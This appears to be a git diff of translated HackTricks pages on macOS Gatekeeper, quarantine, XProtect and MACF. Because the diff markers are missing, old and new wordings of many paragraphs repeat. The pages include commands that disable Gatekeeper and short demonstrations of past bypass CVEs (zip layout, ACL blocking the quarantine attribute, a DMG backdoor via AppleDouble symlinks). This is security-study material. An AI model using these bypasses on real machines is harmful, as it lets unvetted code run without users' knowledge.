Apple-ov proces notarizacije služi kao dodatna zaštita za korisnike od potencijalno štetnog softvera. Uključuje **razvijanje aplikacije za ispitivanje** od strane **Apple-ove Notarizacione Usluge**, što se ne sme mešati sa Pregledom Aplikacija. Ova usluga je **automatski sistem** koji pažljivo ispituje dostavljeni softver na prisustvo **malicioznog sadržaja** i bilo kakvih potencijalnih problema sa potpisivanjem koda.
Ako softver **prođe** ovu inspekciju bez podizanja bilo kakvih zabrinutosti, Notarizacija generiše tiket notarizacije. Programer je zatim obavezan da **priključi ovaj tiket svom softveru**, proces poznat kao 'stapling.' Pored toga, tiket notarizacije se takođe objavljuje online gde mu Gatekeeper, Apple-ova sigurnosna tehnologija, može pristupiti.
Ako softver **prođe** ovu inspekciju bez podizanja bilo kakvih zabrinutosti, Notarizacijska Usluga generiše tiket notarizacije. Razvijač je zatim obavezan da **priključi ovaj tiket svom softveru**, proces poznat kao 'stapling.' Pored toga, tiket notarizacije se takođe objavljuje online gde mu Gatekeeper, Apple-ova sigurnosna tehnologija, može pristupiti.
Prilikom prve instalacije ili izvršavanja softvera od strane korisnika, postojanje tiketa notarizacije - bilo da je priključen na izvršni fajl ili pronađen online - **obaveštava Gatekeeper da je softver notarizovan od strane Apple-a**. Kao rezultat, Gatekeeper prikazuje opisnu poruku u dijalogu za početno pokretanje, ukazujući da je softver prošao provere za maliciozni sadržaj od strane Apple-a. Ovaj proces tako poboljšava poverenje korisnika u sigurnost softvera koji instaliraju ili pokreću na svojim sistemima.
Prilikom prve instalacije ili izvršavanja softvera od strane korisnika, postojanje tiketa notarizacije - bilo da je priključen na izvršni fajl ili pronađen online - **obaveštava Gatekeeper da je softver notarizovan od strane Apple-a**. Kao rezultat, Gatekeeper prikazuje opisnu poruku u inicijalnom dijalogu za pokretanje, ukazujući da je softver prošao provere za maliciozni sadržaj od strane Apple-a. Ovaj proces tako poboljšava poverenje korisnika u sigurnost softvera koji instaliraju ili pokreću na svojim sistemima.
### Enumerating GateKeeper
### spctl & syspolicyd
GateKeeper je i **several security components** koji sprečavaju izvršavanje nepouzdanih aplikacija i takođe **jedna od komponenti**.
{% hint style="danger" %}
Napomena da od verzije Sequoia, **`spctl`** više ne dozvoljava modifikaciju konfiguracije Gatekeeper-a.
{% endhint %}
Moguće je videti **status** GateKeeper-a sa:
**`spctl`** je CLI alat za enumeraciju i interakciju sa Gatekeeper-om (sa `syspolicyd` demonima putem XPC poruka). Na primer, moguće je videti **status** GateKeeper-a sa:
```bash
# Check the status
spctl --status
@ -81,11 +83,13 @@ spctl --status
Napomena da se provere potpisa GateKeeper-a vrše samo za **datoteke sa atributom karantina**, a ne za svaku datoteku.
{% endhint %}
GateKeeper će proveriti da li prema **postavkama i potpisu** binarni fajl može biti izvršen:
GateKeeper će proveriti da li prema **postavkama i potpisu** može da se izvrši binarni fajl:
<figure><img src="../../../.gitbook/assets/image (1150).png" alt=""><figcaption></figcaption></figure>
Baza podataka koja čuva ovu konfiguraciju se nalazi u **`/var/db/SystemPolicy`**. Možete proveriti ovu bazu podataka kao root sa:
**`syspolicyd`** je glavni daemon odgovoran za sprovođenje Gatekeeper-a. Održava bazu podataka smeštenu u `/var/db/SystemPolicy` i moguće je pronaći kod koji podržava [bazu podataka ovde](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/policydb.cpp) i [SQL šablon ovde](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity\_codesigning/lib/syspolicy.sql). Napomena da baza podataka nije ograničena SIP-om i da je moguće pisati u nju kao root, a baza podataka `/var/db/.SystemPolicy-default` se koristi kao originalna rezervna kopija u slučaju da se druga ošteti.
Pored toga, paketi **`/var/db/gke.bundle`** i **`/var/db/gkopaque.bundle`** sadrže datoteke sa pravilima koja se ubacuju u bazu podataka. Možete proveriti ovu bazu podataka kao root sa:
```bash
# Open database
sqlite3 /var/db/SystemPolicy
@ -99,10 +103,12 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Napomena kako je prvo pravilo završilo sa "**App Store**" a drugo sa "**Developer ID**" i da je u prethodnoj slici bilo **omogućeno izvršavanje aplikacija iz App Store-a i od identifikovanih developera**.\
Ako **izmenite** tu postavku na App Store, pravila "**Notarized Developer ID**" će nestati.
**`syspolicyd`** takođe izlaže XPC server sa različitim operacijama kao što su `assess`, `update`, `record` i `cancel` koje su takođe dostupne koristeći **`Security.framework`'s `SecAssessment*`** API-je, a **`xpctl`** zapravo komunicira sa **`syspolicyd`** putem XPC.
Takođe, postoji hiljade pravila **tipa GKE**:
Obratite pažnju na to kako je prvo pravilo završilo u "**App Store**" i drugo u "**Developer ID**" i da je u prethodnoj slici bilo **omogućeno izvršavanje aplikacija iz App Store-a i identifikovanih developera**.\
Ako **izmenite** tu postavku na App Store, pravila "**Notarized Developer ID" će nestati**.
Takođe postoji hiljade pravila **tipa GKE**:
```bash
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
@ -111,7 +117,11 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
```
Ovo su heševi koji dolaze iz **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** i **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
Ovo su heševi koji dolaze iz:
* `/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`
* `/var/db/gke.bundle/Contents/Resources/gk.db`
* `/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`
Ili možete navesti prethodne informacije sa:
```bash
@ -127,7 +137,7 @@ spctl --master-disable
spctl --global-enable
spctl --master-enable
```
Kada je potpuno omogućeno, pojaviće se nova opcija:
Kada je potpuno omogućeno, nova opcija će se pojaviti:
<figure><img src="../../../.gitbook/assets/image (1151).png" alt=""><figcaption></figcaption></figure>
@ -150,24 +160,26 @@ sudo spctl --enable --label "whitelist"
spctl --assess -v /Applications/App.app
/Applications/App.app: accepted
```
Regarding **kernel extensions**, the folder `/var/db/SystemPolicyConfiguration` contains files with lists of kexts allowed to be loaded. Moreover, `spctl` has the entitlement `com.apple.private.iokit.nvram-csr` because it's capable of adding new pre-approved kernel extensions which need to be saved also in NVRAM in a `kext-allowed-teams` key.
### Quarantine Files
Upon **downloading** an application or file, specific macOS **applications** such as web browsers or email clients **attach an extended file attribute**, commonly known as the "**quarantine flag**," to the downloaded file. This attribute acts as a security measure to **mark the file** as coming from an untrusted source (the internet), and potentially carrying risks. However, not all applications attach this attribute, for instance, common BitTorrent client software usually bypasses this process.
**Prisutnost quarantine flag-a signalizira macOS-ovu Gatekeeper sigurnosnu funkciju kada korisnik pokuša da izvrši datoteku**.
**Prisutnost oznake karantina signalizira bezbednosnu funkciju Gatekeeper-a macOS-a kada korisnik pokuša da izvrši datoteku**.
In the case where the **quarantine flag is not present** (as with files downloaded via some BitTorrent clients), Gatekeeper's **checks may not be performed**. Thus, users should exercise caution when opening files downloaded from less secure or unknown sources.
{% hint style="info" %}
**Proveravanje** **validnosti** potpisa koda je **resursno intenzivan** proces koji uključuje generisanje kriptografskih **hash-ova** koda i svih njegovih pratećih resursa. Furthermore, checking certificate validity involves doing an **online check** to Apple's servers to see if it has been revoked after it was issued. For these reasons, a full code signature and notarization check is **impractical to run every time an app is launched**.
**Proveravanje** **validnosti** potpisa koda je **resursno intenzivan** proces koji uključuje generisanje kriptografskih **hash-eva** koda i svih njegovih pratećih resursa. Furthermore, checking certificate validity involves doing an **online check** to Apple's servers to see if it has been revoked after it was issued. For these reasons, a full code signature and notarization check is **impractical to run every time an app is launched**.
Therefore, these checks are **only run when executing apps with the quarantined attribute.**
{% endhint %}
{% hint style="warning" %}
This attribute must be **set by the application creating/downloading** the file.
Ova oznaka mora biti **postavljena od strane aplikacije koja kreira/preuzima** datoteku.
However, files that are sandboxed will have this attribute set to every file they create. And non sandboxed apps can set it themselves, or specify the [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) key in the **Info.plist** which will make the system set the `com.apple.quarantine` extended attribute on the files created,
Međutim, datoteke koje su u sandbox-u će imati ovu oznaku postavljenu na svaku datoteku koju kreiraju. A aplikacije koje nisu u sandbox-u mogu je postaviti same, ili odrediti [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) ključ u **Info.plist** koji će omogućiti sistemu da postavi `com.apple.quarantine` proširenu oznaku na kreiranim datotekama,
{% endhint %}
Moreover, all files created by a process calling **`qtn_proc_apply_to_self`** are quarantined. Or the API **`qtn_file_apply_to_path`** adds the quarantine attribute to a specified file path.
@ -187,7 +199,7 @@ xattr file.png
com.apple.macl
com.apple.quarantine
```
Proverite **vrednost** **proširenih** **atributa** i saznajte koja aplikacija je napisala atribut karantina sa:
Proverite **vrednost** **proširenih** **atributa** i saznajte aplikaciju koja je napisala atribut karantina sa:
```bash
xattr -l portada.png
com.apple.macl:
@ -203,7 +215,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
Zapravo, proces "može postaviti zastavice karantina na datoteke koje kreira" (pokušao sam da primenim USER_APPROVED zastavicu na kreiranoj datoteci, ali se nije primenila):
Zapravo, proces "može postaviti zastavice karantina na datoteke koje kreira" (već sam pokušao da primenim USER_APPROVED zastavicu na kreiranoj datoteci, ali se ona neće primeniti):
<details>
@ -283,17 +295,30 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
```
{% endcode %}
Informacije o karantinu se takođe čuvaju u centralnoj bazi podataka koju upravlja LaunchServices u **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
Informacije o karantinu se takođe čuvaju u centralnoj bazi podataka koju upravlja LaunchServices u **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**, što omogućava GUI-ju da dobije podatke o poreklu datoteka. Štaviše, ovo može biti prepisano od strane aplikacija koje možda žele da sakriju svoje poreklo. Takođe, ovo se može uraditi putem LaunchServices APIS.
#### **libquarantine.dylb**
Ova biblioteka izvozi nekoliko funkcija koje omogućavaju manipulaciju poljima proširenih atributa.
`qtn_file_*` API-ji se bave politikama karantina datoteka, dok se `qtn_proc_*` API-ji primenjuju na procese (datoteke koje kreira proces). Neizvođene `__qtn_syscall_quarantine*` funkcije su one koje primenjuju politike koje pozivaju `mac_syscall` sa "Quarantine" kao prvim argumentom, što šalje zahteve ka `Quarantine.kext`.
#### **Quarantine.kext**
Kernel ekstenzija je dostupna samo kroz **kernel cache na sistemu**; međutim, _možete_ preuzeti **Kernel Debug Kit sa https://developer.apple.com/**, koji će sadržati simboličku verziju ekstenzije.
Kernel ekstenzija je dostupna samo kroz **kernel cache na sistemu**; međutim, _možete_ preuzeti **Kernel Debug Kit sa** [**https://developer.apple.com/**](https://developer.apple.com/), koji će sadržati simboličku verziju ekstenzije.
Ovaj Kext će uhvatiti putem MACF nekoliko poziva kako bi uhvatio sve događaje životnog ciklusa datoteka: Kreiranje, otvaranje, preimenovanje, hard-linkovanje... čak i `setxattr` kako bi sprečio postavljanje `com.apple.quarantine` proširenog atributa.
Takođe koristi nekoliko MIB-ova:
* `security.mac.qtn.sandbox_enforce`: Sprovodi karantinu zajedno sa Sandbox-om
* `security.mac.qtn.user_approved_exec`: Karantinisani procesi mogu izvršavati samo odobrene datoteke
### XProtect
XProtect je ugrađena **anti-malware** funkcija u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatih malware-a i nesigurnih tipova datoteka. Kada preuzmete datoteku putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira datoteku. Ako se podudara sa bilo kojim poznatim malware-om u svojoj bazi podataka, XProtect će **sprečiti pokretanje datoteke** i obavestiti vas o pretnji.
XProtect je ugrađena **anti-malware** funkcija u macOS-u. XProtect **proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu podataka** poznatih malware-a i nesigurnih tipova datoteka. Kada preuzmete datoteku putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira datoteku. Ako se poklapa sa bilo kojim poznatim malware-om u svojoj bazi podataka, XProtect će **sprečiti pokretanje datoteke** i obavestiti vas o pretnji.
XProtect baza podataka se **redovno ažurira** od strane Apple-a sa novim definicijama malware-a, a ova ažuriranja se automatski preuzimaju i instaliraju na vašem Mac-u. To osigurava da je XProtect uvek ažuriran sa najnovijim poznatim pretnjama.
XProtect baza podataka se **redovno ažurira** od strane Apple-a sa novim definicijama malware-a, a ova ažuriranja se automatski preuzimaju i instaliraju na vašem Mac-u. Ovo osigurava da je XProtect uvek ažuriran sa najnovijim poznatim pretnjama.
Međutim, vredi napomenuti da **XProtect nije rešenje za antivirus sa punim funkcijama**. Proverava samo specifičnu listu poznatih pretnji i ne vrši skeniranje pri pristupu kao većina antivirusnog softvera.
@ -307,10 +332,10 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
XProtect se nalazi na. SIP zaštićenoj lokaciji **/Library/Apple/System/Library/CoreServices/XProtect.bundle** i unutar paketa možete pronaći informacije koje XProtect koristi:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Omogućava kodu sa tim cdhash-ovima da koristi legate privilegije.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista dodataka i ekstenzija koje nisu dozvoljene za učitavanje putem BundleID i TeamID ili označavanje minimalne verzije.
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Omogućava kodu sa tim cdhash-ovima da koristi legacijske privilegije.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Lista dodataka i ekstenzija koje nisu dozvoljene za učitavanje putem BundleID i TeamID ili koje označavaju minimalnu verziju.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Yara pravila za otkrivanje malvera.
* **`XProtect.bundle/Contents/Resources/gk.db`**: SQLite3 baza podataka sa hash-evima blokiranih aplikacija i TeamID-ova.
* **`XProtect.bundle/Contents/Resources/gk.db`**: SQLite3 baza podataka sa hash-evima blokiranih aplikacija i TeamID-ima.
Napomena da postoji još jedna aplikacija u **`/Library/Apple/System/Library/CoreServices/XProtect.app`** koja je povezana sa XProtect-om, a koja nije uključena u proces Gatekeeper-a.
@ -326,11 +351,11 @@ Međutim, sada to nije moguće jer macOS **sprečava modifikaciju datoteka** unu
## Obilaženje Gatekeeper-a
Svaki način za obilaženje Gatekeeper-a (uspeti da naterate korisnika da preuzme nešto i izvrši to kada bi Gatekeeper trebao da to onemogući) smatra se ranjivošću u macOS-u. Ovo su neki CVE-ovi dodeljeni tehnikama koje su omogućile obilaženje Gatekeeper-a u prošlosti:
Svaki način da se zaobiđe Gatekeeper (uspeti da se korisnik natera da preuzme nešto i izvrši to kada bi Gatekeeper trebao da to onemogući) smatra se ranjivošću u macOS-u. Ovo su neki CVE-ovi dodeljeni tehnikama koje su omogućile zaobilaženje Gatekeeper-a u prošlosti:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
Primećeno je da ako se **Archive Utility** koristi za ekstrakciju, datoteke sa **putanjama dužim od 886 karaktera** ne dobijaju prošireni atribut com.apple.quarantine. Ova situacija nenamerno omogućava tim datotekama da **obiđu Gatekeeper-ove** sigurnosne provere.
Primećeno je da ako se **Archive Utility** koristi za ekstrakciju, datoteke sa **putanjama dužim od 886 karaktera** ne dobijaju prošireni atribut com.apple.quarantine. Ova situacija nenamerno omogućava tim datotekama da **zaobiđu Gatekeeper-ove** sigurnosne provere.
Proverite [**originalni izveštaj**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) za više informacija.
@ -346,7 +371,7 @@ Proverite [**originalni izveštaj**](https://ronmasas.com/posts/bypass-macos-gat
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
U ovom obilaženju kreirana je zip datoteka sa aplikacijom koja počinje da kompresuje iz `application.app/Contents` umesto iz `application.app`. Stoga, **atribut karantene** je primenjen na sve **datoteke iz `application.app/Contents`** ali **ne na `application.app`**, što je Gatekeeper proveravao, tako da je Gatekeeper bio obilažen jer kada je `application.app` aktiviran, **nije imao atribut karantene.**
U ovom zaobilaženju kreirana je zip datoteka sa aplikacijom koja počinje da kompresuje iz `application.app/Contents` umesto iz `application.app`. Stoga, **atribut karantene** je primenjen na sve **datoteke iz `application.app/Contents`** ali **ne na `application.app`**, što je Gatekeeper proveravao, tako da je Gatekeeper zaobiđen jer kada je `application.app` aktiviran, **nije imao atribut karantene.**
```bash
zip -r test.app/Contents test.zip
```
@ -362,7 +387,7 @@ Proverite [**originalni izveštaj**](https://www.jamf.com/blog/jamf-threat-labs-
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
ACL **`writeextattr`** može se koristiti da spreči bilo koga da upisuje atribut u datoteku:
ACL **`writeextattr`** može se koristiti da spreči bilo koga da upiše atribut u datoteku:
```bash
touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
@ -371,7 +396,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Pored toga, **AppleDouble** format datoteka kopira datoteku uključujući njene ACE.
U [**izvoru koda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) moguće je videti da će ACL tekstualna reprezentacija smeštena unutar xattr pod nazivom **`com.apple.acl.text`** biti postavljena kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava da se drugi xattrs upisuju u nju... xattr karantina nije postavljen u aplikaciju:
U [**izvornom kodu**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) moguće je videti da će ACL tekstualna reprezentacija smeštena unutar xattr pod nazivom **`com.apple.acl.text`** biti postavljena kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip datoteku sa **AppleDouble** formatom datoteke sa ACL-om koji sprečava da se drugi xattrs upisuju u nju... xattr karantina nije postavljen u aplikaciju:
{% code overflow="wrap" %}
```bash
@ -411,8 +436,8 @@ aa archive -d test/ -o test.aar
```
{% endcode %}
Mogućnost kreiranja fajla koji neće imati postavljen atribut karantina, **omogućila je zaobilaženje Gatekeeper-a.** Trik je bio **napraviti DMG fajl aplikaciju** koristeći AppleDouble konvenciju imena (početi sa `._`) i kreirati **vidljivi fajl kao simboličku vezu ka ovom skrivenom** fajlu bez atributa karantina.\
Kada se **dmg fajl izvrši**, pošto nema atribut karantina, on će **zaobići Gatekeeper.**
Mogućnost kreiranja datoteke koja neće imati postavljen atribut karantina, bilo je **moguće zaobići Gatekeeper.** Trik je bio **napraviti DMG datoteku aplikacije** koristeći AppleDouble naziv konvenciju (početi je sa `._`) i kreirati **vidljivu datoteku kao simboličku vezu na ovu skrivenu** datoteku bez atributa karantina.\
Kada se **dmg datoteka izvrši**, pošto nema atribut karantina, ona će **zaobići Gatekeeper.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -446,8 +471,8 @@ U ".app" paketu, ako quarantine xattr nije dodat, prilikom izvršavanja **Gateke
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -0,0 +1,268 @@
# macOS MACF
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
**MACF** označava **Okvir obaveznog pristupa**, koji je bezbednosni sistem ugrađen u operativni sistem kako bi pomogao u zaštiti vašeg računara. Funkcioniše tako što postavlja **stroga pravila o tome ko ili šta može pristupiti određenim delovima sistema**, kao što su datoteke, aplikacije i sistemski resursi. Sprovodeći ova pravila automatski, MACF osigurava da samo ovlašćeni korisnici i procesi mogu izvršavati određene radnje, smanjujući rizik od neovlašćenog pristupa ili zlonamernih aktivnosti.
Napomena: MACF zapravo ne donosi nikakve odluke, već samo **presreće** radnje, ostavljajući odluke **modulima politike** (kernel ekstenzije) koje poziva, kao što su `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` i `mcxalr.kext`.
### Flow
1. Proces izvršava syscall/mach trap
2. Relevantna funkcija se poziva unutar kernela
3. Funkcija poziva MACF
4. MACF proverava module politike koji su zatražili da se ta funkcija poveže u svojoj politici
5. MACF poziva relevantne politike
6. Politike označavaju da li dozvoljavaju ili odbacuju radnju
{% hint style="danger" %}
Apple je jedini koji može koristiti MAC Framework KPI.
{% endhint %}
### Labels
MACF koristi **oznake** koje zatim politike koriste da provere da li treba da odobre neki pristup ili ne. Kod deklaracije strukture oznaka može se [pronaći ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), koja se zatim koristi unutar **`struct ucred`** [**ovde**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) u delu **`cr_label`**. Oznaka sadrži zastavice i broj **slotova** koji se mogu koristiti od strane **MACF politika za dodelu pokazivača**. Na primer, Sandbox će ukazivati na profil kontejnera.
## MACF Policies
MACF politika definiše **pravila i uslove koji se primenjuju u određenim operacijama kernela**.&#x20;
Kernel ekstenzija može konfigurisati `mac_policy_conf` strukturu i zatim je registrovati pozivajući `mac_policy_register`. Od [ovde](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
```c
#define mpc_t struct mac_policy_conf *
/**
@brief Mac policy configuration
This structure specifies the configuration information for a
MAC policy module. A policy module developer must supply
a short unique policy name, a more descriptive full name, a list of label
namespaces and count, a pointer to the registered enty point operations,
any load time flags, and optionally, a pointer to a label slot identifier.
The Framework will update the runtime flags (mpc_runtime_flags) to
indicate that the module has been registered.
If the label slot identifier (mpc_field_off) is NULL, the Framework
will not provide label storage for the policy. Otherwise, the
Framework will store the label location (slot) in this field.
The mpc_list field is used by the Framework and should not be
modified by policies.
*/
/* XXX - reorder these for better aligment on 64bit platforms */
struct mac_policy_conf {
const char *mpc_name; /** policy name */
const char *mpc_fullname; /** full name */
const char **mpc_labelnames; /** managed label namespaces */
unsigned int mpc_labelname_count; /** number of managed label namespaces */
struct mac_policy_ops *mpc_ops; /** operation vector */
int mpc_loadtime_flags; /** load time flags */
int *mpc_field_off; /** label slot */
int mpc_runtime_flags; /** run time flags */
mpc_t mpc_list; /** List reference */
void *mpc_data; /** module data */
};
```
Lako je identifikovati kernel ekstenzije koje konfigurišu ove politike proverom poziva na `mac_policy_register`. Štaviše, proverom disasembla ekstenzije takođe je moguće pronaći korišćenu `mac_policy_conf` strukturu.
Napomena da se MACF politike mogu registrovati i deregistrovati takođe **dinamički**.
Jedno od glavnih polja `mac_policy_conf` je **`mpc_ops`**. Ovo polje specificira koje operacije politika zanima. Napomena da ih ima stotine, tako da je moguće postaviti sve na nulu, a zatim izabrati samo one koje politiku zanimaju. Od [ovde](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac\_policy.h.auto.html):
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
mpo_audit_check_preselect_t *mpo_audit_check_preselect;
mpo_bpfdesc_label_associate_t *mpo_bpfdesc_label_associate;
mpo_bpfdesc_label_destroy_t *mpo_bpfdesc_label_destroy;
mpo_bpfdesc_label_init_t *mpo_bpfdesc_label_init;
mpo_bpfdesc_check_receive_t *mpo_bpfdesc_check_receive;
mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
Almost all the hooks will be called back by MACF when one of those operations are intercepted. However, **`mpo_policy_*`** hooks are an exception because `mpo_hook_policy_init()` is a callback called upon registration (so after `mac_policy_register()`) and `mpo_hook_policy_initbsd()` is called during late registration once the BSD subsystem has initialised properly.
Moreover, the **`mpo_policy_syscall`** hook can be registered by any kext to expose a private **ioctl** style call **interface**. Then, a user client will be able to call `mac_syscall` (#381) specifying as parameters the **policy name** with an integer **code** and optional **arguments**.\
For example, the **`Sandbox.kext`** uses this a lot.
Checking the kext's **`__DATA.__const*`** is possible to identify the `mac_policy_ops` structure used when registering the policy. It's possible to find it because its pointer is at an offset inside `mpo_policy_conf` and also because the amount of NULL pointers that will be in that area.
Moreover, it's also possible to get the list of kexts that have configured a policy by dumping from memory the struct **`_mac_policy_list`** which is updated with every policy that is registered.
## MACF Initialization
MACF is initialised very soon. It's set up in XNU's `bootstrap_thread`: after `ipc_bootstrap` a call to `mac_policy_init()` which initializes the `mac_policy_list` and moments later `mac_policy_initmach()` is called. Among other things, this function will get all the Apple kexts with the `AppleSecurityExtension` key in their Info.plist like `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` and `TMSafetyNet.kext` and loads them.
## MACF Callouts
It's common to find callouts to MACF defined in code like: **`#if CONFIG_MAC`** conditional blocks. Moreover, inside these blocks it's possible to find calls to `mac_proc_check*` which calls MACF to **check for permissions** to perform certain actions. Moreover, the format of the MACF callouts is: **`mac_<object>_<opType>_opName`**.
The object is one of the following: `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\
The `opType` is usually check which will be used to allow or deny the action. However, it's also possible to find `notify`, which will allow the kext to react to the given action.
You can find an example in [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_mman.c#L621):
<pre class="language-c"><code class="lang-c">int
mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
{
[...]
#if CONFIG_MACF
<strong> error = mac_file_check_mmap(vfs_context_ucred(ctx),
</strong> fp->fp_glob, prot, flags, file_pos + pageoff,
&#x26;maxprot);
if (error) {
(void)vnode_put(vp);
goto bad;
}
#endif /* MAC */
[...]
</code></pre>
Then, it's possible to find the code of `mac_file_check_mmap` in [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac\_file.c#L174)
```c
mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot,
int flags, uint64_t offset, int *maxprot)
{
int error;
int maxp;
maxp = *maxprot;
MAC_CHECK(file_check_mmap, cred, fg, NULL, prot, flags, offset, &maxp);
if ((maxp | *maxprot) != *maxprot) {
panic("file_check_mmap increased max protections");
}
*maxprot = maxp;
return error;
}
```
